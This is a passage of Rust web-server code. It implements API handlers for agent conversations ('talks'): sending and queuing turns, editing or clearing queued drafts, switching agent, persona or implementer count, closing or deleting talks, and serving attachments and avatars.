8886 let personas: Vec<_> = persona::catalog(&specs)
8887 .into_iter()
8888 .map(|p| PersonaEntry {
8889 avatar: avatar_url(&ui.home, &talk.id, &p),
8890 id: p.id,
8891 name: p.name,
8892 })
8893 .collect();
8894 let active_persona = persona::find(&specs, &talk.persona)
8895 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8896 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8897 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8898 Ok(Json(serde_json::json!({
8899 "tasks": tasks, "task_progress": task_progress,
8900 "roster": roster, "personas": personas,
8901 "context": talk::context_usage(&talk, cfg.as_ref()),
8902 "context_for": talk.updated_at,
8903 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8904 "persona_name": persona_name,
8905 "persona_avatar": persona_avatar,
8906 })))
8907 })
8908 .await
8909}
8910
8911async fn talk_detail(
8913 State(ui): State<Arc<Ui>>,
8914 Path(id): Path<String>,
8915) -> ApiResult<Json<TalkDetailView>> {
8916 blocking(move || {
8917 let id = resolve_talk(&ui.talks, &id)?;
8918 let talk = ui.talks.get(&id)?;
8919 let thinking = ui.is_thinking_observed(&talk.id);
8920 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8921 let task_progress = talk_task_progress(&tasks);
8922 let tasks = tasks.into_iter().map(TaskView::from).collect();
8923 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8924 let roster = cfg
8925 .as_ref()
8926 .map(|cfg| {
8927 cfg.agents
8928 .iter()
8929 .map(|a| RosterEntry {
8930 id: a.id.clone(),
8931 kind: a.kind,
8932 runnable: agent::installed(a),
8933 })
8934 .collect()
8935 })
8936 .unwrap_or_default();
8937 let specs = cfg
8938 .as_ref()
8939 .map(|cfg| cfg.talk.personas.clone())
8940 .unwrap_or_default();
8941 let personas = persona::catalog(&specs)
8942 .into_iter()
8943 .map(|p| PersonaEntry {
8944 avatar: avatar_url(&ui.home, &talk.id, &p),
8945 id: p.id,
8946 name: p.name,
8947 })
8948 .collect();
8949 Ok(Json(TalkDetailView {
8950 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8951 tasks,
8952 task_progress,
8953 roster,
8954 personas,
8955 }))
8956 })
8957 .await
8958}
8959
8960#[derive(Debug, Default, Deserialize)]
8966#[serde(default, deny_unknown_fields)]
8967struct NewTalkTurn {
8968 reply_to: Option<talk::ReplyTarget>,
8969 text: String,
8970 attachments: Vec<String>,
8971}
8972
8973#[derive(Debug, Deserialize)]
8974#[serde(deny_unknown_fields)]
8975struct EditTalkPending {
8976 #[serde(default)]
8977 message: Option<usize>,
8978 text: String,
8979 expected_text: String,
8980 expected_attachments: Vec<String>,
8981}
8982
8983#[derive(Debug, Deserialize)]
8984#[serde(deny_unknown_fields)]
8985struct ClearTalkPending {
8986 expected_text: String,
8987 expected_attachments: Vec<String>,
8988}
8989
8990async fn talk_say(
9002 State(ui): State<Arc<Ui>>,
9003 Path(id): Path<String>,
9004 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9005) -> ApiResult<(StatusCode, Json<TalkView>)> {
9006 let admission = ui.begin_admission()?;
9007 admitted(admission, async move {
9008 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9009 if body.text.trim().is_empty() && body.attachments.is_empty() {
9010 return Err(ApiError::bad_request("say something"));
9011 }
9012
9013 let id = {
9014 let ui = Arc::clone(&ui);
9015 let asked = id.clone();
9016 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9017 };
9018 {
9022 let ui = Arc::clone(&ui);
9023 let id = id.clone();
9024 blocking(move || {
9025 let talk = ui.talks.get(&id)?;
9026 if !talk.status.open() {
9027 return Err(ApiError::conflict(format!(
9028 "talk {} is {} and takes no more turns",
9029 talk.short(),
9030 talk.status.as_str()
9031 )));
9032 }
9033 Ok(())
9034 })
9035 .await?;
9036 }
9037
9038 let attachments = {
9043 let ui = Arc::clone(&ui);
9044 let id = id.clone();
9045 let ids = body.attachments.clone();
9046 blocking(move || {
9047 ids.into_iter()
9048 .map(|att_id| {
9049 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9050 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9051 })
9052 })
9053 .collect::<ApiResult<Vec<talk::Attachment>>>()
9054 })
9055 .await?
9056 };
9057 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9058 .await.map_err(ApiError::from)?;
9059
9060 let start = {
9065 let ui = Arc::clone(&ui);
9066 let id = id.clone();
9067 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9068 };
9069 let turn_guard = match start {
9070 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9071 TalkTurnStart::Pending => {
9072 return Err(ApiError::conflict(
9073 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9074 ));
9075 }
9076 TalkTurnStart::Foreign => {
9077 return Err(ApiError::conflict(
9078 "a turn is already running in another process; try again when it has finished",
9079 ));
9080 }
9081 TalkTurnStart::Busy => {
9082 let (tx, rx) = tokio::sync::oneshot::channel();
9098 tokio::spawn({
9099 let ui = Arc::clone(&ui);
9100 let id = id.clone();
9101 let said = body.text.clone();
9102 let reply_to = body.reply_to.clone();
9103 async move {
9104 let written = blocking({
9105 let ui = Arc::clone(&ui);
9106 let id = id.clone();
9107 move || {
9108 let mut talk = ui.talks.get(&id)?;
9109 #[cfg(test)]
9114 if let Some(gate) = ui
9115 .busy_queue_gate
9116 .lock()
9117 .unwrap_or_else(PoisonError::into_inner)
9118 .take()
9119 {
9120 let _ = gate.reached.send(());
9121 let _ = gate.release.recv();
9122 }
9123 if let Err(error) = talk::queue_reply(
9124 &mut talk,
9125 &ui.talks,
9126 &said,
9127 attachments,
9128 reply_to,
9129 ) {
9130 if let Ok(fresh) = ui.talks.get(&id) {
9131 if !fresh.status.open() {
9132 return Err(ApiError::conflict(format!(
9133 "talk {} is {} and takes no more turns",
9134 fresh.short(),
9135 fresh.status.as_str()
9136 )));
9137 }
9138 }
9139 return Err(
9140 if error.to_string().contains("invalid reply target") {
9141 ApiError::bad_request("invalid reply target")
9142 } else {
9143 ApiError::from(error)
9144 },
9145 );
9146 }
9147 let claim = match ui.begin_queued_talk_turn(&id)? {
9158 Some(turn_guard) => {
9159 let (cfg, _) = Config::discover(&talk.repo, None)?;
9160 Some((talk.clone(), cfg, turn_guard))
9161 }
9162 None => None,
9163 };
9164 let thinking = ui.is_thinking(&id);
9165 Ok((TalkView::new(talk, thinking, &ui), claim))
9166 }
9167 })
9168 .await;
9169 #[cfg(not(test))]
9170 {
9171 match written {
9172 Ok((view, reclaimed)) => {
9173 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9174 drop(reclaimed);
9175 match launched {
9176 Ok(_) => { let _ = tx.send(Ok(view)); }
9177 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9178 }
9179 }
9180 Err(error) => { let _ = tx.send(Err(error)); }
9181 }
9182 }
9183 #[cfg(test)]
9184 {
9185 let (view, reclaimed) = match written {
9186 Ok(pair) => pair,
9187 Err(e) => {
9188 let _ = tx.send(Err(e));
9193 return;
9194 }
9195 };
9196 let _ = tx.send(Ok(view));
9199 if let Some((talk, cfg, turn_guard)) = reclaimed {
9200 let talks = ui.talks.clone();
9201 drain_loop(talk, talks, cfg, id, turn_guard).await;
9202 }
9203 }
9204 }
9205 });
9206 let view = rx
9207 .await
9208 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9209 return Ok((StatusCode::ACCEPTED, Json(view)));
9210 }
9211 };
9212
9213 let (talk, cfg) = {
9214 let ui = Arc::clone(&ui);
9215 let id = id.clone();
9216 blocking(move || {
9217 let talk = ui.talks.get(&id)?;
9218 let (cfg, _) = Config::discover(&talk.repo, None)?;
9219 Ok((talk, cfg))
9220 })
9221 .await?
9222 };
9223
9224 let talks = ui.talks.clone();
9225 let (tx, rx) = tokio::sync::oneshot::channel();
9240 tokio::spawn({
9241 #[cfg(test)]
9242 let ui = Arc::clone(&ui);
9243 let talks = talks.clone();
9244 let id = id.clone();
9245 let said = body.text.clone();
9246 let reply_to = body.reply_to.clone();
9247 let mut talk = talk.clone();
9248 async move {
9249 let recorded = blocking({
9250 let talks = talks.clone();
9251 move || {
9252 if let Err(error) =
9253 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9254 {
9255 if let Ok(fresh) = talks.get(&talk.id) {
9256 if !fresh.status.open() {
9257 return Err(ApiError::conflict(format!(
9258 "talk {} is {} and takes no more turns",
9259 fresh.short(),
9260 fresh.status.as_str()
9261 )));
9262 }
9263 }
9264 return Err(if error.to_string().contains("invalid reply target") {
9265 ApiError::bad_request("invalid reply target")
9266 } else {
9267 ApiError::from(error)
9268 });
9269 }
9270 Ok((said.trim().to_owned(), talk))
9276 }
9277 })
9278 .await;
9279 let (text, talk) = match recorded {
9280 Ok(pair) => pair,
9281 Err(e) => {
9282 let _ = tx.send(Err(e));
9286 return;
9287 }
9288 };
9289 #[cfg(not(test))]
9290 {
9291 let _ = (&cfg, &text);
9292 let result = crate::consult::spawn_recorded_turn(
9296 &talks, &id, talk.turns.len() - 1,
9297 ).await;
9298 drop(turn_guard);
9299 match result {
9300 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9301 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9302 }
9303 }
9304 #[cfg(test)]
9305 {
9306 let queued = talk.clone();
9307 let mut talk = talk;
9308 let thinking = ui.is_thinking(&id);
9309 let _ = tx.send(Ok((queued, thinking)));
9312
9313 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9314 tracing::warn!("talk {id} turn failed: {e:#}");
9318 }
9319 drain_loop(talk, talks, cfg, id, turn_guard).await;
9322 }
9323 }
9324 });
9325
9326 let (queued, thinking) = rx
9327 .await
9328 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9329
9330 Ok((
9332 StatusCode::ACCEPTED,
9333 Json(TalkView::new(queued, thinking, &ui)),
9334 ))
9335 }).await
9336}
9337
9338async fn talk_pending_resume(
9342 State(ui): State<Arc<Ui>>,
9343 Path(id): Path<String>,
9344) -> ApiResult<(StatusCode, Json<TalkView>)> {
9345 let admission = ui.begin_admission()?;
9346 admitted(admission, async move {
9347 let id = {
9348 let ui = Arc::clone(&ui);
9349 let asked = id.clone();
9350 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9351 };
9352 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9353 .await
9354 .map_err(ApiError::from)?;
9355 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9356 return Err(ApiError::conflict(
9357 "a talk turn is already running; the queued draft will be handled by it",
9358 ));
9359 };
9360 let (talk, cfg) = {
9361 let ui = Arc::clone(&ui);
9362 let id = id.clone();
9363 blocking(move || {
9364 let talk = ui.talks.get(&id)?;
9365 if !talk.status.open() {
9366 return Err(ApiError::conflict(format!(
9367 "talk {} is {} and takes no more turns",
9368 talk.short(),
9369 talk.status.as_str()
9370 )));
9371 }
9372 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9373 return Err(ApiError::conflict("there is no queued draft to resume"));
9374 }
9375 let (cfg, _) = Config::discover(&talk.repo, None)?;
9376 Ok((talk, cfg))
9377 })
9378 .await?
9379 };
9380 let view = TalkView::new(talk.clone(), true, &ui);
9381 let talks = ui.talks.clone();
9382 #[cfg(not(test))]
9383 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9384 #[cfg(test)]
9385 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9386 Ok((StatusCode::ACCEPTED, Json(view)))
9387 })
9388 .await
9389}
9390
9391#[cfg(not(test))]
9394async fn detach_talk_turn(
9395 _talk: Talk,
9396 talks: Talks,
9397 _cfg: Config,
9398 id: String,
9399 turn: TalkTurnGuard,
9400) -> ApiResult<()> {
9401 let launched = crate::consult::spawn_turn(&talks, &id).await;
9402 drop(turn);
9403 launched.map(|_| ()).map_err(ApiError::from)
9404}
9405
9406#[cfg(test)]
9407async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9408 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9409}
9410
9411async fn settle_settings_turn(
9415 talk: Talk,
9416 talks: Talks,
9417 cfg: Config,
9418 id: String,
9419 turn: TalkTurnGuard,
9420 observed: u64,
9421) -> bool {
9422 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9423 let turns = Arc::clone(&turn.turns);
9424 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9425 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9426 turn.release(&mut live);
9428 return false;
9429 }
9430 }
9431 let (started, settled) = tokio::sync::oneshot::channel();
9432 tokio::spawn(drain_loop_started(
9433 talk,
9434 talks,
9435 cfg,
9436 id,
9437 turn,
9438 Some(started),
9439 ));
9440 settled.await.unwrap_or(false)
9441}
9442
9443#[cfg(not(test))]
9444async fn drain_loop_started(
9445 talk: Talk,
9446 talks: Talks,
9447 _cfg: Config,
9448 id: String,
9449 turn: TalkTurnGuard,
9450 started: Option<tokio::sync::oneshot::Sender<bool>>,
9451) {
9452 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9453 let running = if pending {
9454 match crate::consult::spawn_turn(&talks, &id).await {
9455 Ok(_) => true,
9456 Err(error) => {
9457 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9458 false
9459 }
9460 }
9461 } else {
9462 false
9463 };
9464 drop(turn);
9465 if let Some(started) = started {
9466 let _ = started.send(running);
9467 }
9468}
9469
9470#[cfg(test)]
9473async fn drain_loop_started(
9474 mut talk: Talk,
9475 talks: Talks,
9476 cfg: Config,
9477 id: String,
9478 turn: TalkTurnGuard,
9479 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9480) {
9481 let live_set = Arc::clone(&turn.turns);
9482 let mut turn = Some(turn);
9490 loop {
9491 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9492 tracing::warn!("talk {id} lost its turn lease; not draining further");
9495 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9496 if let Some(turn) = turn.take() {
9497 turn.release(&mut live);
9498 }
9499 break;
9500 }
9501 let observed = live_set
9505 .lock()
9506 .unwrap_or_else(PoisonError::into_inner)
9507 .queued
9508 .get(&id)
9509 .copied()
9510 .unwrap_or(0);
9511 let drained = blocking({
9512 let talks = talks.clone();
9513 move || {
9514 let result = talk::drain(&mut talk, &talks);
9515 Ok((talk, result))
9516 }
9517 })
9518 .await;
9519 let (next_talk, result) = match drained {
9520 Ok(drained) => drained,
9521 Err(e) => {
9522 tracing::warn!(
9523 status = %e.status,
9524 message = %e.message,
9525 "talk {id} could not start queued-text drain"
9526 );
9527 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9528 turn.take()
9529 .expect("held for the whole loop until released here")
9530 .release(&mut live);
9531 break;
9532 }
9533 };
9534 talk = next_talk;
9535 let drained = match result {
9536 Ok(Some(drained)) => drained,
9537 Ok(None) => {
9538 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9539 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9540 continue;
9541 }
9542 turn.take()
9543 .expect("held for the whole loop until released here")
9544 .release(&mut live);
9545 break;
9546 }
9547 Err(e) => {
9548 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9549 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9550 turn.take()
9551 .expect("held for the whole loop until released here")
9552 .release(&mut live);
9553 break;
9554 }
9555 };
9556 if let Some(started) = started.take() {
9557 let _ = started.send(true);
9558 }
9559 let responded = match turn.as_ref() {
9560 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9561 None => Err(anyhow::anyhow!("the turn guard was released")),
9562 };
9563 if let Err(e) = responded {
9564 tracing::warn!("talk {id} turn failed: {e:#}");
9565 }
9566 }
9567 drop(turn);
9568 if let Some(started) = started {
9569 let _ = started.send(false);
9570 }
9571}
9572
9573async fn talk_pending_clear(
9575 State(ui): State<Arc<Ui>>,
9576 Path(id): Path<String>,
9577 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9578) -> ApiResult<Json<TalkView>> {
9579 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9580 blocking(move || {
9581 let id = resolve_talk(&ui.talks, &id)?;
9582 let mut talk = ui.talks.get(&id)?;
9583 if !talk.status.open() {
9584 return Err(ApiError::conflict(format!(
9585 "talk {} is {} and takes no more turns",
9586 talk.short(),
9587 talk.status.as_str()
9588 )));
9589 }
9590 if !talk::clear_pending_if_matches(
9591 &mut talk,
9592 &ui.talks,
9593 &body.expected_text,
9594 &body.expected_attachments,
9595 )? {
9596 return Err(ApiError::conflict(
9597 "queued message changed; reload it before clearing",
9598 ));
9599 }
9600 let thinking = ui.is_thinking(&talk.id);
9601 Ok(Json(TalkView::new(talk, thinking, &ui)))
9602 })
9603 .await
9604}
9605
9606async fn talk_pending_edit(
9610 State(ui): State<Arc<Ui>>,
9611 Path(id): Path<String>,
9612 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9613) -> ApiResult<Json<TalkView>> {
9614 let admission = ui.begin_admission()?;
9615 admitted(admission, async move {
9616 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9617 let id = {
9618 let ui = Arc::clone(&ui);
9619 blocking(move || resolve_talk(&ui.talks, &id)).await?
9620 };
9621 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9622 .await
9623 .map_err(ApiError::from)?;
9624 let (view, reclaimed) = blocking({
9625 let ui = Arc::clone(&ui);
9626 move || {
9627 let mut talk = ui.talks.get(&id)?;
9628 if !talk.status.open() {
9629 return Err(ApiError::conflict(format!(
9630 "talk {} is {} and takes no more turns",
9631 talk.short(),
9632 talk.status.as_str()
9633 )));
9634 }
9635 if !talk::edit_pending_message(
9636 &mut talk,
9637 &ui.talks,
9638 &body.text,
9639 &body.expected_text,
9640 &body.expected_attachments,
9641 body.message,
9642 )? {
9643 return Err(ApiError::conflict(
9644 "queued message changed; reload it before editing",
9645 ));
9646 }
9647 let claim = match ui.begin_queued_talk_turn(&id)? {
9648 Some(turn_guard) => {
9649 let (cfg, _) = Config::discover(&talk.repo, None)?;
9650 Some((talk.clone(), cfg, id.clone(), turn_guard))
9651 }
9652 None => None,
9653 };
9654 let thinking = ui.is_thinking(&id);
9655 Ok((TalkView::new(talk, thinking, &ui), claim))
9656 }
9657 })
9658 .await?;
9659 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9660 let talks = ui.talks.clone();
9661 #[cfg(not(test))]
9662 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9663 #[cfg(test)]
9664 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9665 }
9666 Ok(Json(view))
9667 })
9668 .await
9669}
9670
9671fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9673 if talk.status.open() {
9674 return Ok(());
9675 }
9676 Err(ApiError::conflict(format!(
9677 "talk {} is {} and takes no more turns",
9678 talk.short(),
9679 talk.status.as_str()
9680 )))
9681}
9682
9683#[derive(Debug, Deserialize)]
9685struct TalkAgent {
9686 agent: String,
9687}
9688
9689async fn talk_agent(
9694 State(ui): State<Arc<Ui>>,
9695 Path(id): Path<String>,
9696 Json(body): Json<TalkAgent>,
9697) -> ApiResult<Json<TalkView>> {
9698 let admission = ui.begin_admission()?;
9699 admitted(admission, async move {
9700 let id = {
9701 let ui = Arc::clone(&ui);
9702 blocking(move || resolve_talk(&ui.talks, &id)).await?
9703 };
9704 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9705 .await
9706 .map_err(ApiError::from)?;
9707 let repo = {
9708 let ui = Arc::clone(&ui);
9709 let id = id.clone();
9710 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9711 };
9712 let cfg = config_for(&repo).await?;
9713 {
9715 let ui = Arc::clone(&ui);
9716 let id = id.clone();
9717 let cfg = cfg.clone();
9718 let wanted = body.agent.clone();
9719 blocking(move || {
9720 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9721 .map_err(ApiError::bad_request_from)?;
9722 refuse_if_closed(&ui.talks.get(&id)?)
9723 })
9724 .await?;
9725 }
9726 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9727 return Err(ApiError::conflict(
9728 "a talk turn is running; change the agent once it has answered",
9729 ));
9730 };
9731 let switched = {
9732 let ui = Arc::clone(&ui);
9733 let id = id.clone();
9734 let cfg = cfg.clone();
9735 blocking(move || {
9736 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9737 .map_err(ApiError::bad_request_from)?;
9738 let mut talk = ui.talks.get(&id)?;
9739 if !talk.status.open() {
9740 return Err(ApiError::conflict(format!(
9741 "talk {} is {} and takes no more turns",
9742 talk.short(),
9743 talk.status.as_str()
9744 )));
9745 }
9746 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9747 Ok(talk)
9748 })
9749 .await
9750 };
9751 let observed = ui.queued_generation(&id);
9756 let fresh = {
9757 let ui = Arc::clone(&ui);
9758 let id = id.clone();
9759 blocking(move || Ok(ui.talks.get(&id)?)).await
9760 };
9761 let draining = match fresh {
9762 Ok(talk) => {
9763 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9764 }
9765 Err(_) => false,
9766 };
9767 let talk = switched?;
9768 Ok(Json(TalkView::new(talk, draining, &ui)))
9769 })
9770 .await
9771}
9772
9773#[derive(Debug, Deserialize)]
9775struct TalkPersona {
9776 persona: String,
9777}
9778
9779async fn talk_persona(
9783 State(ui): State<Arc<Ui>>,
9784 Path(id): Path<String>,
9785 Json(body): Json<TalkPersona>,
9786) -> ApiResult<Json<TalkView>> {
9787 let admission = ui.begin_admission()?;
9788 admitted(admission, async move {
9789 let id = {
9790 let ui = Arc::clone(&ui);
9791 blocking(move || resolve_talk(&ui.talks, &id)).await?
9792 };
9793 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9794 .await
9795 .map_err(ApiError::from)?;
9796 let repo = {
9797 let ui = Arc::clone(&ui);
9798 let id = id.clone();
9799 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9800 };
9801 let cfg = config_for(&repo).await?;
9802 {
9804 let ui = Arc::clone(&ui);
9805 let id = id.clone();
9806 let cfg = cfg.clone();
9807 let wanted = body.persona.clone();
9808 blocking(move || {
9809 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9810 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9811 }
9812 refuse_if_closed(&ui.talks.get(&id)?)
9813 })
9814 .await?;
9815 }
9816 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9817 return Err(ApiError::conflict(
9818 "a talk turn is running; change the persona once it has answered",
9819 ));
9820 };
9821 let switched = {
9822 let ui = Arc::clone(&ui);
9823 let id = id.clone();
9824 let cfg = cfg.clone();
9825 blocking(move || {
9826 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9827 return Err(ApiError::bad_request(format!(
9828 "unknown persona `{}`",
9829 body.persona
9830 )));
9831 };
9832 let mut talk = ui.talks.get(&id)?;
9833 if !talk.status.open() {
9834 return Err(ApiError::conflict(format!(
9835 "talk {} is {} and takes no more turns",
9836 talk.short(),
9837 talk.status.as_str()
9838 )));
9839 }
9840 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9841 Ok(talk)
9842 })
9843 .await
9844 };
9845 let observed = ui.queued_generation(&id);
9847 let fresh = {
9848 let ui = Arc::clone(&ui);
9849 let id = id.clone();
9850 blocking(move || Ok(ui.talks.get(&id)?)).await
9851 };
9852 let draining = match fresh {
9853 Ok(talk) => {
9854 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9855 }
9856 Err(_) => false,
9857 };
9858 let talk = switched?;
9859 Ok(Json(TalkView::new(talk, draining, &ui)))
9860 })
9861 .await
9862}
9863
9864#[derive(Debug, Deserialize)]
9866struct TalkImplementers {
9867 implementers: u8,
9868}
9869
9870async fn talk_implementers(
9874 State(ui): State<Arc<Ui>>,
9875 Path(id): Path<String>,
9876 Json(body): Json<TalkImplementers>,
9877) -> ApiResult<Json<TalkView>> {
9878 let admission = ui.begin_admission()?;
9879 admitted(admission, async move {
9880 let id = {
9881 let ui = Arc::clone(&ui);
9882 blocking(move || resolve_talk(&ui.talks, &id)).await?
9883 };
9884 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9885 .await
9886 .map_err(ApiError::from)?;
9887 let repo = {
9888 let ui = Arc::clone(&ui);
9889 let id = id.clone();
9890 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9891 };
9892 let cfg = config_for(&repo).await?;
9893 {
9898 let ui = Arc::clone(&ui);
9899 let id = id.clone();
9900 let cfg = cfg.clone();
9901 let wanted = body.implementers;
9902 blocking(move || {
9903 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9904 refuse_if_closed(&ui.talks.get(&id)?)
9905 })
9906 .await?;
9907 }
9908 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9909 return Err(ApiError::conflict(
9910 "a talk turn is running; change the implementers once it has answered",
9911 ));
9912 };
9913 let switched = {
9914 let ui = Arc::clone(&ui);
9915 let id = id.clone();
9916 let cfg = cfg.clone();
9917 blocking(move || {
9918 let chosen = talk::check_implementers(body.implementers, &cfg)
9919 .map_err(ApiError::bad_request)?;
9920 let mut talk = ui.talks.get(&id)?;
9921 if !talk.status.open() {
9922 return Err(ApiError::conflict(format!(
9923 "talk {} is {} and takes no more turns",
9924 talk.short(),
9925 talk.status.as_str()
9926 )));
9927 }
9928 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9929 Ok(talk)
9930 })
9931 .await
9932 };
9933 let observed = ui.queued_generation(&id);
9935 let fresh = {
9936 let ui = Arc::clone(&ui);
9937 let id = id.clone();
9938 blocking(move || Ok(ui.talks.get(&id)?)).await
9939 };
9940 let draining = match fresh {
9941 Ok(talk) => {
9942 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9943 }
9944 Err(_) => false,
9945 };
9946 let talk = switched?;
9947 Ok(Json(TalkView::new(talk, draining, &ui)))
9948 })
9949 .await
9950}
9951
9952async fn talk_close(
9954 State(ui): State<Arc<Ui>>,
9955 Path(id): Path<String>,
9956) -> ApiResult<Json<TalkView>> {
9957 blocking(move || {
9958 let id = resolve_talk(&ui.talks, &id)?;
9959 let mut talk = ui.talks.get(&id)?;
9960 talk::close(&mut talk, &ui.talks)?;
9961 let thinking = ui.is_thinking(&talk.id);
9962 Ok(Json(TalkView::new(talk, thinking, &ui)))
9963 })
9964 .await
9965}
9966
9967async fn talk_reopen(
9969 State(ui): State<Arc<Ui>>,
9970 Path(id): Path<String>,
9971) -> ApiResult<Json<TalkView>> {
9972 blocking(move || {
9973 let id = resolve_talk(&ui.talks, &id)?;
9974 let mut talk = ui.talks.get(&id)?;
9975 talk::reopen(&mut talk, &ui.talks)?;
9976 let thinking = ui.is_thinking(&talk.id);
9977 Ok(Json(TalkView::new(talk, thinking, &ui)))
9978 })
9979 .await
9980}
9981
9982async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9992 blocking(move || {
9993 let id = resolve_talk(&ui.talks, &id)?;
9994 ui.talks.remove(&id)?;
9995 Ok(StatusCode::NO_CONTENT)
9996 })
9997 .await
9998}
9999
10000fn talk_ids(root: &FsPath) -> Vec<String> {
10001 std::fs::read_dir(root)
10002 .into_iter()
10003 .flatten()
10004 .flatten()
10005 .filter_map(|e| {
10006 let path = e.path();
10007 if path.extension().is_some_and(|ext| ext == "json") {
10008 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10009 } else {
10010 None
10011 }
10012 })
10013 .collect()
10014}
10015
10016fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10018 if plain_record_id(id) && store.path_of(id).is_file() {
10019 return Ok(id.to_owned());
10020 }
10021 pick(talk_ids(store.root()), id, "talk")
10022}
10023
10024async fn talk_attachment_post(
10027 State(ui): State<Arc<Ui>>,
10028 Path(id): Path<String>,
10029 headers: HeaderMap,
10030 body: Bytes,
10031) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10032 let mime = validate_attachment(&headers, &body)?;
10033 let name = filename_header(&headers);
10034 let data = body.to_vec();
10035 blocking(move || {
10036 let id = resolve_talk(&ui.talks, &id)?;
10037 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10038 Ok((StatusCode::CREATED, Json(att)))
10039 })
10040 .await
10041}
10042
10043async fn talk_attachment_get(
10046 State(ui): State<Arc<Ui>>,
10047 Path((id, att)): Path<(String, String)>,
10048) -> ApiResult<Response> {
10049 blocking(move || {
10050 let id = resolve_talk(&ui.talks, &id)?;
10051 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10052 return Err(ApiError::not_found(format!(
10053 "talk {id} has no attachment `{att}`"
10054 )));
10055 };
10056 Ok(attachment_response(&meta.mime, data))
10057 })
10058 .await
10059}
10060
10061fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10064 let id = avatar_encode(&p.id);
10065 format!(
10066 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10067 persona_icon::fingerprint(
10068 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10069 )
10070 )
10071}
10072
10073#[derive(Debug, Default, Deserialize)]
10074struct AvatarQuery {
10075 persona: Option<String>,
10076 builtin: Option<String>,
10078}
10079
